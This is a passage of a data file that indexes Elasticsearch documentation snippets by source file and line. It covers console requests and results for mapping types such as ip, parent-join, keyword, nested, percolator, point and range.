{"source_location":{"file":"mapping/types/ip.asciidoc","line":112},"digest":"8f9f88cf9a27c1138226efb94ac09e73","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"term\": {\n \"ip_addr\": \"192.168.0.0/16\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/ip.asciidoc","line":126},"digest":"e8a2726eea5545355d1d0835d4599f55","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"term\": {\n \"ip_addr\": \"2001:db8::/48\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/ip.asciidoc","line":143},"digest":"dabcf0bead37cae1d3e5d2813fd3ccfe","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"query_string\" : {\n \"query\": \"ip_addr:\\\"2001:db8::/48\\\"\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/ip.asciidoc","line":170},"digest":"e566e898902e432bc7ea0568400f0c50","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"ip\": { \"type\": \"ip\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"ip\": [\"192.168.0.1\", \"192.168.0.1\", \"10.10.12.123\",\n \"2001:db8::1:0:0:1\", \"::afff:4567:890a\"]\n}"}, {"source_location":{"file":"mapping/types/ip.asciidoc","line":191},"digest":"77404a96898bb10a512b72fd9cd2fa64","lang":"console-result","found":[],"source":"{\n \"ip\": [\"::afff:4567:890a\", \"10.10.12.123\", \"192.168.0.1\", \"2001:db8::1:0:0:1\"]\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":22},"digest":"2b5a5f8689f04d095fa86570130ee4d4","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_id\": {\n \"type\": \"keyword\"\n },\n \"my_join_field\": { <1>\n \"type\": \"join\",\n \"relations\": {\n \"question\": \"answer\" <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":49},"digest":"93bd651aff81daa2b86f9f2089e6d088","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"my_id\": \"1\",\n \"text\": \"This is a question\",\n \"my_join_field\": {\n \"name\": \"question\" <1>\n }\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"my_id\": \"2\",\n \"text\": \"This is another question\",\n \"my_join_field\": {\n \"name\": \"question\"\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":76},"digest":"0db06c3cba57cf442ac7fab89966e1e1","lang":"console","found":[],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"my_id\": \"1\",\n \"text\": \"This is a question\",\n \"my_join_field\": \"question\" <1>\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"my_id\": \"2\",\n \"text\": \"This is another question\",\n \"my_join_field\": \"question\"\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":104},"digest":"1233be1d4c9c7ca54126f1a0693b26de","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/3?routing=1&refresh <1>\n{\n \"my_id\": \"3\",\n \"text\": \"This is an answer\",\n \"my_join_field\": {\n \"name\": \"answer\", <2>\n \"parent\": \"1\" <3>\n }\n}\n\nPUT my-index-000001/_doc/4?routing=1&refresh\n{\n \"my_id\": \"4\",\n \"text\": \"This is another answer\",\n \"my_join_field\": {\n \"name\": \"answer\",\n \"parent\": \"1\"\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":173},"digest":"d5abaf1fd26f0abf410dd8827d077bbf","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match_all\": {}\n },\n \"sort\": [\"my_id\"]\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":187},"digest":"d147a18e52cae41d483601eaff2ec1e1","lang":"console-result","found":[],"source":"{\n ...,\n \"hits\": {\n \"total\": {\n \"value\": 4,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": null,\n \"_source\": {\n \"my_id\": \"1\",\n \"text\": \"This is a question\",\n \"my_join_field\": \"question\" <1>\n },\n \"sort\": [\n \"1\"\n ]\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"2\",\n \"_score\": null,\n \"_source\": {\n \"my_id\": \"2\",\n \"text\": \"This is another question\",\n \"my_join_field\": \"question\" <2>\n },\n \"sort\": [\n \"2\"\n ]\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"3\",\n \"_score\": null,\n \"_routing\": \"1\",\n \"_source\": {\n \"my_id\": \"3\",\n \"text\": \"This is an answer\",\n \"my_join_field\": {\n \"name\": \"answer\", <3>\n \"parent\": \"1\" <4>\n }\n },\n \"sort\": [\n \"3\"\n ]\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"4\",\n \"_score\": null,\n \"_routing\": \"1\",\n \"_source\": {\n \"my_id\": \"4\",\n \"text\": \"This is another answer\",\n \"my_join_field\": {\n \"name\": \"answer\",\n \"parent\": \"1\"\n }\n },\n \"sort\": [\n \"4\"\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":280},"digest":"d64679f8a53928fe9958dbe5ee5d9d13","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"parent_id\": { <1>\n \"type\": \"answer\",\n \"id\": \"1\"\n }\n },\n \"aggs\": {\n \"parents\": {\n \"terms\": {\n \"field\": \"my_join_field#question\", <2>\n \"size\": 10\n }\n }\n },\n \"runtime_mappings\": {\n \"parent\": {\n \"type\": \"long\",\n \"script\": \"\"\"\n emit(Integer.parseInt(doc['my_join_field#question'].value)) <3>\n \"\"\"\n }\n },\n \"fields\": [\n { \"field\": \"parent\" }\n ]\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":382},"digest":"d1ecce3632ae338b5e329b0e5ff3bed7","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_join_field\": {\n \"type\": \"join\",\n \"relations\": {\n \"question\": \"answer\"\n },\n \"eager_global_ordinals\": false\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":403},"digest":"2c090fe7ec7b66b3f5c178d71c46323b","lang":"console","found":["ruby"],"source":"# Per-index\nGET _stats/fielddata?human&fields=my_join_field#question\n\n# Per-node per-index\nGET _nodes/stats/indices/fielddata?human&fields=my_join_field#question"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":417},"digest":"331caebf810a923644eb6de26e5a97f4","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_join_field\": {\n \"type\": \"join\",\n \"relations\": {\n \"question\": [\"answer\", \"comment\"] <1>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":442},"digest":"d9a1ad1c5746b75972c74dd4d3a3d623","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_join_field\": {\n \"type\": \"join\",\n \"relations\": {\n \"question\": [\"answer\", \"comment\"], <1>\n \"answer\": \"vote\" <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/parent-join.asciidoc","line":477},"digest":"bb975b342de7e838ebf6a36aaa1a8749","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/3?routing=1&refresh <1>\n{\n \"text\": \"This is a vote\",\n \"my_join_field\": {\n \"name\": \"vote\",\n \"parent\": \"2\" <2>\n }\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":31},"digest":"9f04cc1a0c6cdb3ed2247f1399713767","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"tags\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":190},"digest":"63d1c07d22a3ca3b0ec6d950547c011c","lang":"console","found":["python","ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"kwd\": { \"type\": \"keyword\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"kwd\": [\"foo\", \"foo\", \"bar\", \"baz\"]\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":210},"digest":"f67ee797caf96937efee56b5229f6ee3","lang":"console-result","found":[],"source":"{\n \"kwd\": [\"bar\", \"baz\", \"foo\"]\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":220},"digest":"633c8a9fc57268979d8735c557705809","lang":"console","found":["python","ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"kwd\": { \"type\": \"keyword\", \"store\": true }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"kwd\": [\"foo\", \"foo\", \"bar\", \"baz\"]\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":240},"digest":"caeb7208cea4332887a826eb7a64e232","lang":"console-result","found":[],"source":"{\n \"kwd\": [\"foo\", \"foo\", \"bar\", \"baz\"]\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":250},"digest":"77113c65e1755313183a8969233a5a07","lang":"console","found":["python","ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"kwd\": { \"type\": \"keyword\", \"ignore_above\": 3 }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"kwd\": [\"foo\", \"foo\", \"bang\", \"bar\", \"baz\"]\n}"}, {"source_location":{"file":"mapping/types/keyword.asciidoc","line":270},"digest":"53ecc64bf8235fcaf00afdcc56f00d0e","lang":"console-result","found":[],"source":"{\n \"kwd\": [\"bar\", \"baz\", \"foo\", \"bang\"]\n}"}, {"source_location":{"file":"mapping/types/constant-keyword.asciidoc","line":11},"digest":"6b0d492c0f50103fefeab385a7bebd01","lang":"console","found":["ruby"],"source":"PUT logs-debug\n{\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"message\": {\n \"type\": \"text\"\n },\n \"level\": {\n \"type\": \"constant_keyword\",\n \"value\": \"debug\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/constant-keyword.asciidoc","line":40},"digest":"134384b8c63cfbd8d762fb01757bb3f9","lang":"console","found":["ruby"],"source":"POST logs-debug/_doc\n{\n \"date\": \"2019-12-12\",\n \"message\": \"Starting up Elasticsearch\",\n \"level\": \"debug\"\n}\n\nPOST logs-debug/_doc\n{\n \"date\": \"2019-12-12\",\n \"message\": \"Starting up Elasticsearch\"\n}"}, {"source_location":{"file":"mapping/types/wildcard.asciidoc","line":78},"digest":"02fad6b80bb29c2a7e6840db2fc67b18","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_wildcard\": {\n \"type\": \"wildcard\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"my_wildcard\" : \"This string can be quite lengthy\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"wildcard\": {\n \"my_wildcard\": {\n \"value\": \"*quite*lengthy\"\n }\n }\n }\n}\n\n"}, {"source_location":{"file":"mapping/types/wildcard.asciidoc","line":141},"digest":"983a867c90e63e070518f2f709f659ee","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"card\": { \"type\": \"wildcard\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"card\": [\"king\", \"ace\", \"ace\", \"jack\"]\n}"}, {"source_location":{"file":"mapping/types/wildcard.asciidoc","line":161},"digest":"42438715b06d8496d4f721c4a4fb2943","lang":"console-result","found":[],"source":"{\n \"card\": [\"ace\", \"jack\", \"king\"]\n}"}, {"source_location":{"file":"mapping/types/nested.asciidoc","line":22},"digest":"7fef68840761c6982c14ad7af96caf37","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/1\n{\n \"group\" : \"fans\",\n \"user\" : [ <1>\n {\n \"first\" : \"John\",\n \"last\" : \"Smith\"\n },\n {\n \"first\" : \"Alice\",\n \"last\" : \"White\"\n }\n ]\n}"}, {"source_location":{"file":"mapping/types/nested.asciidoc","line":58},"digest":"5553cf7a02c22f616cd994747f2dd5a5","lang":"console","found":["python","ruby","go"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"match\": { \"user.first\": \"Alice\" }},\n { \"match\": { \"user.last\": \"Smith\" }}\n ]\n }\n }\n}"}, {"source_location":{"file":"mapping/types/nested.asciidoc","line":85},"digest":"6cd083045bf06e80b83889a939a18451","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"user\": {\n \"type\": \"nested\" <1>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"group\" : \"fans\",\n \"user\" : [\n {\n \"first\" : \"John\",\n \"last\" : \"Smith\"\n },\n {\n \"first\" : \"Alice\",\n \"last\" : \"White\"\n }\n ]\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"user\",\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"match\": { \"user.first\": \"Alice\" }},\n { \"match\": { \"user.last\": \"Smith\" }} <2>\n ]\n }\n }\n }\n }\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"user\",\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"match\": { \"user.first\": \"Alice\" }},\n { \"match\": { \"user.last\": \"White\" }} <3>\n ]\n }\n },\n \"inner_hits\": { <4>\n \"highlight\": {\n \"fields\": {\n \"user.first\": {}\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/numeric.asciidoc","line":23},"digest":"52fd112e970882c4d7cc4b0cca8e2c6f","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"number_of_bytes\": {\n \"type\": \"integer\"\n },\n \"time_in_seconds\": {\n \"type\": \"float\"\n },\n \"price\": {\n \"type\": \"scaled_float\",\n \"scaling_factor\": 100\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/numeric.asciidoc","line":247},"digest":"36063ff9a318dba7bb0be3a230655dc8","lang":"console","found":["python","ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"long\": { \"type\": \"long\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"long\": [0, 0, -123466, 87612]\n}"}, {"source_location":{"file":"mapping/types/numeric.asciidoc","line":266},"digest":"2f20867964873b85a3dc39d51a59377d","lang":"console-result","found":[],"source":"{\n \"long\": [-123466, 0, 0, 87612]\n}"}, {"source_location":{"file":"mapping/types/numeric.asciidoc","line":275},"digest":"0e5db64154a722a5cbdb84b588ce2ce8","lang":"console","found":["python","ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"f\": { \"type\": \"scaled_float\", \"scaling_factor\": 0.01 }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"f\": 123\n}"}, {"source_location":{"file":"mapping/types/numeric.asciidoc","line":295},"digest":"ac632f8417164e97e3f2a7f67207d150","lang":"console-result","found":[],"source":"{\n \"f\": 100.0\n}"}, {"source_location":{"file":"mapping/types/object.asciidoc","line":11},"digest":"8b07372a21a10a16b52e70fc0c87ad4e","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{ <1>\n \"region\": \"US\",\n \"manager\": { <2>\n \"age\": 30,\n \"name\": { <3>\n \"first\": \"John\",\n \"last\": \"Smith\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/object.asciidoc","line":46},"digest":"0b987b4101e016653a32d7b092d47e4c","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": { <1>\n \"region\": {\n \"type\": \"keyword\"\n },\n \"manager\": { <2>\n \"properties\": {\n \"age\": { \"type\": \"integer\" },\n \"name\": { <3>\n \"properties\": {\n \"first\": { \"type\": \"text\" },\n \"last\": { \"type\": \"text\" }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":20},"digest":"a97f984c01fa1d96e6d33a0e8e2cb90f","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"query\": {\n \"type\": \"percolator\"\n },\n \"field\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":40},"digest":"17f8a8990b0166befa3bc2b10fd28134","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/match_value\n{\n \"query\": {\n \"match\": {\n \"field\": \"value\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":70},"digest":"3eb4cdd4a799a117ac1ff5f02b18a512","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"mappings\": {\n \"properties\": {\n \"query\" : {\n \"type\" : \"percolator\"\n },\n \"body\" : {\n \"type\": \"text\"\n }\n }\n }\n}\n\nPOST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"index\",\n \"alias\": \"queries\" <1>\n }\n }\n ]\n}\n\nPUT queries/_doc/1?refresh\n{\n \"query\" : {\n \"match\" : {\n \"body\" : \"quick brown fox\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":115},"digest":"f09817fd13ff3dce52eb79d0722409c3","lang":"console","found":["ruby"],"source":"PUT new_index\n{\n \"mappings\": {\n \"properties\": {\n \"query\" : {\n \"type\" : \"percolator\"\n },\n \"body\" : {\n \"type\": \"text\"\n }\n }\n }\n}\n\nPOST /_reindex?refresh\n{\n \"source\": {\n \"index\": \"index\"\n },\n \"dest\": {\n \"index\": \"new_index\"\n }\n}\n\nPOST _aliases\n{\n \"actions\": [ <1>\n {\n \"remove\": {\n \"index\" : \"index\",\n \"alias\": \"queries\"\n }\n },\n {\n \"add\": {\n \"index\": \"new_index\",\n \"alias\": \"queries\"\n }\n }\n ]\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":165},"digest":"60cab62af1540db2ad3b696b0ee1d7a8","lang":"console","found":["ruby"],"source":"GET /queries/_search\n{\n \"query\": {\n \"percolate\" : {\n \"field\" : \"query\",\n \"document\" : {\n \"body\" : \"fox jumps over the lazy dog\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":183},"digest":"8bb3c37f6c007d069b7107b6c1e306b2","lang":"console-result","found":[],"source":"{\n \"took\": 3,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.13076457,\n \"hits\": [\n {\n \"_index\": \"new_index\", <1>\n \"_id\": \"1\",\n \"_score\": 0.13076457,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"body\": \"quick brown fox\"\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":262},"digest":"360c4f373e72ba861584ee85bd218124","lang":"console","found":["ruby"],"source":"PUT /test_index\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\" : {\n \"tokenizer\": \"standard\",\n \"filter\" : [\"lowercase\", \"porter_stem\"]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"query\" : {\n \"type\": \"percolator\"\n },\n \"body\" : {\n \"type\": \"text\",\n \"analyzer\": \"my_analyzer\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":295},"digest":"3e13c8a81f40a537eddc0b57633b45f8","lang":"console","found":["ruby"],"source":"POST /test_index/_analyze\n{\n \"analyzer\" : \"my_analyzer\",\n \"text\" : \"missing bicycles\"\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":307},"digest":"d674b0d80bef84b374861ff1023e8ac6","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"miss\",\n \"start_offset\": 0,\n \"end_offset\": 7,\n \"type\": \"\",\n \"position\": 0\n },\n {\n \"token\": \"bicycl\",\n \"start_offset\": 8,\n \"end_offset\": 16,\n \"type\": \"\",\n \"position\": 1\n }\n ]\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":331},"digest":"7a2b9a7b2b6553a48bd4db60a939c0fc","lang":"console","found":["ruby"],"source":"PUT /test_index/_doc/1?refresh\n{\n \"query\" : {\n \"match\" : {\n \"body\" : {\n \"query\" : \"miss bicycl\",\n \"analyzer\" : \"whitespace\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":355},"digest":"45813d971bfa890ffa2f51f3f480cce5","lang":"console","found":["ruby"],"source":"GET /test_index/_search\n{\n \"query\": {\n \"percolate\" : {\n \"field\" : \"query\",\n \"document\" : {\n \"body\" : \"Bycicles are missing\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":373},"digest":"6c36ac2864631f76aa6b04ac6b4d18a4","lang":"console-result","found":[],"source":"{\n \"took\": 6,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.13076457,\n \"hits\": [\n {\n \"_index\": \"test_index\",\n \"_id\": \"1\",\n \"_score\": 0.13076457,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"body\": {\n \"query\": \"miss bicycl\",\n \"analyzer\": \"whitespace\"\n }\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":427},"digest":"a04a8d90f8245ff5f30a9983909faa1d","lang":"console","found":["ruby"],"source":"PUT my_queries1\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"wildcard_prefix\": { <1>\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"wildcard_edge_ngram\"\n ]\n }\n },\n \"filter\": {\n \"wildcard_edge_ngram\": { <2>\n \"type\": \"edge_ngram\",\n \"min_gram\": 1,\n \"max_gram\": 32\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"query\": {\n \"type\": \"percolator\"\n },\n \"my_field\": {\n \"type\": \"text\",\n \"fields\": {\n \"prefix\": { <3>\n \"type\": \"text\",\n \"analyzer\": \"wildcard_prefix\",\n \"search_analyzer\": \"standard\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":495},"digest":"ed688d86eeaa4d7969acb0f574eb917f","lang":"console","found":["ruby"],"source":"PUT /my_queries1/_doc/1?refresh\n{\n \"query\": {\n \"term\": {\n \"my_field.prefix\": \"abc\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":513},"digest":"d2f6040c058a9555dfa62bb42d896a8f","lang":"console","found":["ruby"],"source":"GET /my_queries1/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"my_field\": \"abcd\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":529},"digest":"c314bccc7efd6cdf7fed6aa2585900c7","lang":"console-result","found":[],"source":"{\n \"took\": 6,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.18864399,\n \"hits\": [\n {\n \"_index\": \"my_queries1\",\n \"_id\": \"1\",\n \"_score\": 0.18864399,\n \"_source\": {\n \"query\": {\n \"term\": {\n \"my_field.prefix\": \"abc\"\n }\n }\n },\n \"fields\": {\n \"_percolator_document_slot\": [\n 0\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":574},"digest":"343dd09a8c76987e586858be3bdc51eb","lang":"console","found":["ruby"],"source":"PUT my_queries2\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"wildcard_suffix\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"reverse\",\n \"wildcard_edge_ngram\"\n ]\n },\n \"wildcard_suffix_search_time\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"reverse\"\n ]\n }\n },\n \"filter\": {\n \"wildcard_edge_ngram\": {\n \"type\": \"edge_ngram\",\n \"min_gram\": 1,\n \"max_gram\": 32\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"query\": {\n \"type\": \"percolator\"\n },\n \"my_field\": {\n \"type\": \"text\",\n \"fields\": {\n \"suffix\": {\n \"type\": \"text\",\n \"analyzer\": \"wildcard_suffix\",\n \"search_analyzer\": \"wildcard_suffix_search_time\" <1>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":649},"digest":"bd7330af2609bdd8aa10958f5e640b93","lang":"console","found":["ruby"],"source":"PUT /my_queries2/_doc/2?refresh\n{\n \"query\": {\n \"match\": { <1>\n \"my_field.suffix\": \"xyz\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/percolator.asciidoc","line":668},"digest":"4aa81a694266fb634904224d14cd9a87","lang":"console","found":["ruby"],"source":"GET /my_queries2/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"my_field\": \"wxyz\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/point.asciidoc","line":21},"digest":"229b83cbcd8efa1b0288a728a2abacb4","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"point\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Point as an object using GeoJSON format\",\n \"location\": { <1>\n \"type\": \"Point\",\n \"coordinates\": [-71.34, 41.12]\n }\n}\n\nPUT my-index-000001/_doc/2\n{\n \"text\": \"Point as a WKT POINT primitive\",\n \"location\" : \"POINT (-71.34 41.12)\" <2>\n}\n\nPUT my-index-000001/_doc/3\n{\n \"text\": \"Point as an object with 'x' and 'y' keys\",\n \"location\": { <3>\n \"x\": -71.34,\n \"y\": 41.12\n }\n}\n\nPUT my-index-000001/_doc/4\n{\n \"text\": \"Point as an array\",\n \"location\": [ -71.34, 41.12 ] <4>\n}\n\nPUT my-index-000001/_doc/5\n{\n \"text\": \"Point as a string\",\n \"location\": \"-71.34,41.12\" <5>\n}\n"}, {"source_location":{"file":"mapping/types/range.asciidoc","line":34},"digest":"7c24d4bef3f2045407fbf1b95c5416f9","lang":"console","found":["ruby"],"source":"PUT range_index\n{\n \"settings\": {\n \"number_of_shards\": 2\n },\n \"mappings\": {\n \"properties\": {\n \"expected_attendees\": {\n \"type\": \"integer_range\"\n },\n \"time_frame\": {\n \"type\": \"date_range\", <1>\n \"format\": \"yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis\"\n }\n }\n }\n}\n\nPUT range_index/_doc/1?refresh\n{\n \"expected_attendees\" : { <2>\n \"gte\" : 10,\n \"lt\" : 20\n },\n \"time_frame\" : {\n \"gte\" : \"2015-10-31 12:00:00\", <3>\n \"lte\" : \"2015-11-01\"\n }\n}"}, {"source_location":{"file":"mapping/types/range.asciidoc","line":75},"digest":"84edb44c5b74426f448b2baa101092d6","lang":"console","found":["ruby"],"source":"GET range_index/_search\n{\n \"query\" : {\n \"term\" : {\n \"expected_attendees\" : {\n \"value\": 12\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/range.asciidoc","line":91},"digest":"7becc4d06e86ee20e9d6c417037710c7","lang":"console-result","found":[],"source":"{\n \"took\": 13,\n \"timed_out\": false,\n \"_shards\" : {\n \"total\": 2,\n \"successful\": 2,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"range_index\",\n \"_id\" : \"1\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"expected_attendees\" : {\n \"gte\" : 10, \"lt\" : 20\n },\n \"time_frame\" : {\n \"gte\" : \"2015-10-31 12:00:00\", \"lte\" : \"2015-11-01\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/range.asciidoc","line":130},"digest":"1572696b97822d3332be51700e09672f","lang":"console","found":["ruby"],"source":"GET range_index/_search\n{\n \"query\" : {\n \"range\" : {\n \"time_frame\" : { <1>\n \"gte\" : \"2015-10-31\",\n \"lte\" : \"2015-11-01\",\n \"relation\" : \"within\" <2>\n }\n }\n }\n}"}, 